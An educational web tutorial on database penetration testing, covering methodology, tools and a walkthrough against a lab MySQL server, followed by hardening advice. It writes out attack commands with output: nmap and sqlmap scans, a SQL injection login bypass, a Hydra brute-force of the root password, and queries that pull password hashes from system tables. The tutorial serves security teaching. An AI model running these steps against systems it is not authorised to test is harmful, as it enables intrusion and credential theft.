Skip to main content

Penetration Testing

Introduction

Penetration testing, often abbreviated as "pen testing," is a simulated cyber attack against your database systems to check for exploitable vulnerabilities. Unlike automated vulnerability scanning, penetration testing involves human testers using their expertise to identify and exploit security weaknesses. For database security, penetration testing is crucial as databases often contain an organization's most sensitive information.

In this guide, we'll explore how penetration testing applies specifically to database systems, the methodologies used, common tools, and practical examples to help you understand how to assess and strengthen your database security posture.

Why Database Penetration Testing Is Important

Databases are prime targets for attackers because they:

  • Store valuable information (personal data, financial records, etc.)
  • Often have direct connections to applications
  • May contain vulnerabilities in configuration, access controls, or authentication
  • Could provide lateral movement opportunities in a network

A successful database breach can lead to data theft, regulatory penalties, reputation damage, and significant financial losses.

Database Penetration Testing Methodology

Let's break down the process of conducting a database penetration test:

1. Planning Phase

Define the scope and objectives of your database penetration test:

  • Which database servers will be tested?
  • What type of testing (black box, white box, or gray box)?
  • What are the limitations and restrictions?
  • What are you trying to protect (data confidentiality, integrity, availability)?

2. Reconnaissance

Gather information about the target database:

  • Database type (MySQL, PostgreSQL, Oracle, SQL Server, MongoDB, etc.)
  • IP addresses and ports
  • Database versions and patch levels
  • Connected applications
  • Network architecture

Here's a simple example of database fingerprinting using Nmap:

bash
# Scan for database services
nmap -p 1433,3306,5432,27017 target_ip

# More detailed scan of a MySQL server
nmap -sV -p 3306 --script mysql-info target_ip

3. Vulnerability Assessment

Identify potential security weaknesses in the database:

  • Weak authentication mechanisms
  • Misconfigured permissions
  • Unpatched vulnerabilities
  • Default credentials
  • Insecure network configuration

You can use specialized tools like SQLmap for this purpose:

bash
# Basic SQLmap scan against a web application
sqlmap -u "http://example.com/page.php?id=1" --dbs

# Direct testing against a MySQL database
sqlmap -d "mysql://user:password@target_ip:3306/database_name" --tables

4. Exploitation

Attempt to exploit discovered vulnerabilities to demonstrate real-world impact:

  • SQL injection attacks
  • Privilege escalation
  • Authentication bypass
  • Data extraction
  • Password cracking

Let's look at a simple SQL injection example:

sql
-- Original query (on the application side)
SELECT * FROM users WHERE username = '[user_input]' AND password = '[user_input]';

-- Malicious input to bypass authentication
username: admin' --
password: anything

-- Resulting query
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

The -- characters comment out the rest of the query, bypassing the password check.

5. Post-Exploitation

Once access is gained, assess the potential damage:

  • What sensitive data is accessible?
  • Can you escalate privileges further?
  • Is lateral movement to other systems possible?
  • Can you maintain persistence?

For example, after gaining access to a database, you might extract password hashes:

sql
-- In MySQL
SELECT user, authentication_string FROM mysql.user;

-- In PostgreSQL
SELECT usename, passwd FROM pg_shadow;

-- In SQL Server
SELECT name, password_hash FROM sys.sql_logins;

6. Reporting

Document findings clearly:

  • Vulnerabilities discovered
  • Exploitation methods
  • Potential impact
  • Remediation recommendations
  • Evidence (screenshots, extracted data samples)

Common Database Penetration Testing Tools

Here are some popular tools used for database penetration testing:

Tool NameDescriptionDatabase Types
SQLmapAutomated SQL injection toolMost SQL databases
MetasploitExploitation framework with database modulesVarious
NmapNetwork scanner with database scriptsVarious
HydraPassword brute-forcing toolVarious
DBeaverDatabase management tool useful for manual testingMost databases

Practical Example: Testing a MySQL Database

Let's walk through a simplified penetration test against a MySQL database:

Step 1: Identify the target

bash
# Scan for MySQL services
nmap -p 3306 192.168.1.0/24

Output:

Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for db-server.local (192.168.1.15)
Host is up (0.0080s latency).

PORT STATE SERVICE
3306/tcp open mysql

Nmap done: 256 IP addresses (1 host up) scanned in 8.45 seconds

Step 2: Gather information about the MySQL server

bash
nmap -sV -p 3306 --script mysql-info 192.168.1.15

Output:

Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for db-server.local (192.168.1.15)
Host is up (0.0090s latency).

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.7.35
| mysql-info:
| Protocol: 10
| Version: 5.7.35
| Thread ID: 12
| Capabilities flags: 65535
| Some Capabilities: SupportsCompression, Speaks41ProtocolOld, LongPassword, Support41Auth,
ConnectWithDatabase, SupportsTransactions, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake,
InteractiveClient, Speaks41ProtocolNew, FoundRows, IgnoreSigpipes, ODBCClient, IgnoreSpaceBeforeParenthesis,
SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
|_ Auth Plugin Name: mysql_native_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.18 seconds

Step 3: Test for default or weak credentials

bash
hydra -l root -P /usr/share/wordlists/common-passwords.txt 192.168.1.15 mysql

Output:

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-10 14:25:16
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100 login tries (l:1/p:100), ~25 tries per task
[DATA] attacking mysql://192.168.1.15:3306/
[3306][mysql] host: 192.168.1.15 login: root password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-10 14:26:02

Step 4: Access the database and enumerate

sql
mysql -h 192.168.1.15 -u root -p'password123'

-- List databases
SHOW DATABASES;

-- Switch to a database
USE customer_db;

-- List tables
SHOW TABLES;

-- View table structure
DESCRIBE users;

-- Extract sensitive data
SELECT username, email, password FROM users LIMIT 10;

Output:

mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| customer_db |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)

mysql> USE customer_db;
Database changed

mysql> SHOW TABLES;
+---------------------+
| Tables_in_customer_db |
+---------------------+
| orders |
| payment_info |
| products |
| users |
+---------------------+
4 rows in set (0.00 sec)

mysql> SELECT username, email, password FROM users LIMIT 5;
+------------+-------------------------+----------------------------------+
| username | email | password |
+------------+-------------------------+----------------------------------+
| jsmith | [email protected] | 5f4dcc3b5aa765d61d8327deb882cf99 |
| ajonhson | [email protected] | 25d55ad283aa400af464c76d713c07ad |
| mbrown | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| rlee | [email protected] | 827ccb0eea8a706c4c34a16891f84e7b |
| jdoe | [email protected] | 5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+-------------------------+----------------------------------+
5 rows in set (0.00 sec)

Step 5: Test for privilege escalation

sql
-- Check current privileges
SHOW GRANTS;

-- See if we can access user table
SELECT User, Host, authentication_string FROM mysql.user;

Output:

mysql> SHOW GRANTS;
+-------------------------------------------------------------+
| Grants for root@% |
+-------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION |
+-------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT User, Host, authentication_string FROM mysql.user;
+---------------+-----------+-------------------------------------------+
| User | Host | authentication_string |
+---------------+-----------+-------------------------------------------+
| root | % | *23AE809DDACAF96AF0FD78ED04B6A265E05AA257 |
| mysql.session | localhost | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys | localhost | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| app_user | % | *CC67043C7BCFF5EFA54857835FCDB45D49912B01 |
| backup_user | localhost | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+---------------+-----------+-------------------------------------------+
5 rows in set (0.00 sec)

Protecting Your Databases

Based on penetration testing findings, implement these security measures:

1. Secure Authentication

  • Use strong, complex passwords
  • Implement multi-factor authentication where possible
  • Remove default accounts or change their credentials
  • Implement account lockout policies
sql
-- Create a user with a strong password
CREATE USER 'app_user'@'10.0.0.%' IDENTIFIED BY 'p@ssw0rd-C0mpl3x!';

-- Set password policy (MySQL 8.0+)
SET GLOBAL validate_password.policy = 'STRONG';
SET GLOBAL validate_password.length = 12;

2. Implement Proper Access Controls

  • Apply the principle of least privilege
  • Restrict network access to database servers
  • Use database firewalls or WAFs
  • Regularly audit user permissions
sql
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON customer_db.products TO 'app_user'@'10.0.0.%';

-- Revoke dangerous permissions
REVOKE FILE ON *.* FROM 'app_user'@'10.0.0.%';

3. Patch and Update Regularly

  • Subscribe to security advisories for your database software
  • Test and apply security patches promptly
  • Maintain updated documentation of database versions and patches

4. Encrypt Sensitive Data

  • Implement TLS/SSL for data in transit
  • Use transparent data encryption for data at rest
  • Hash and salt stored passwords
sql
-- Enable SSL connections in MySQL
ALTER USER 'app_user'@'10.0.0.%' REQUIRE SSL;

-- For data at rest (SQL Server example)
CREATE DATABASE customer_db
ENCRYPTION = ON;

5. Regular Backups and Monitoring

  • Implement comprehensive logging
  • Set up alerts for suspicious activities
  • Regularly test backup restoration procedures

Summary

Database penetration testing is a critical component of a robust security strategy. By simulating real-world attacks in a controlled environment, you can identify and address vulnerabilities before malicious actors exploit them. The key steps include reconnaissance, vulnerability assessment, exploitation, and thorough reporting.

Remember that penetration testing is not a one-time activity but an ongoing process. As your database environment evolves and new threats emerge, regular testing helps maintain a strong security posture.

Additional Resources

For those looking to learn more about database penetration testing:

  • OWASP Database Security Testing Guide: Comprehensive methodology for database security testing
  • The Database Hacker's Handbook: In-depth coverage of various database security vulnerabilities
  • HackerOne and Bugcrowd: Platforms where you can practice your skills on real-world applications (with permission)

Practice Exercises

  1. Set up a vulnerable database environment in a lab (like DVWA or WebGoat) and practice exploiting common vulnerabilities.
  2. Create a checklist for database hardening based on penetration testing findings.
  3. Practice writing detailed penetration testing reports that communicate technical findings to both technical and non-technical stakeholders.
  4. Explore automated tools like SQLmap and compare their results with manual testing approaches.
  5. Research and document the specific security features available in different database management systems.

By incorporating regular penetration testing into your security practices, you'll build more resilient database systems that better protect your organization's valuable data assets.



If you spot any mistakes on this website, please let me know at [email protected]. I’d greatly appreciate your feedback! :)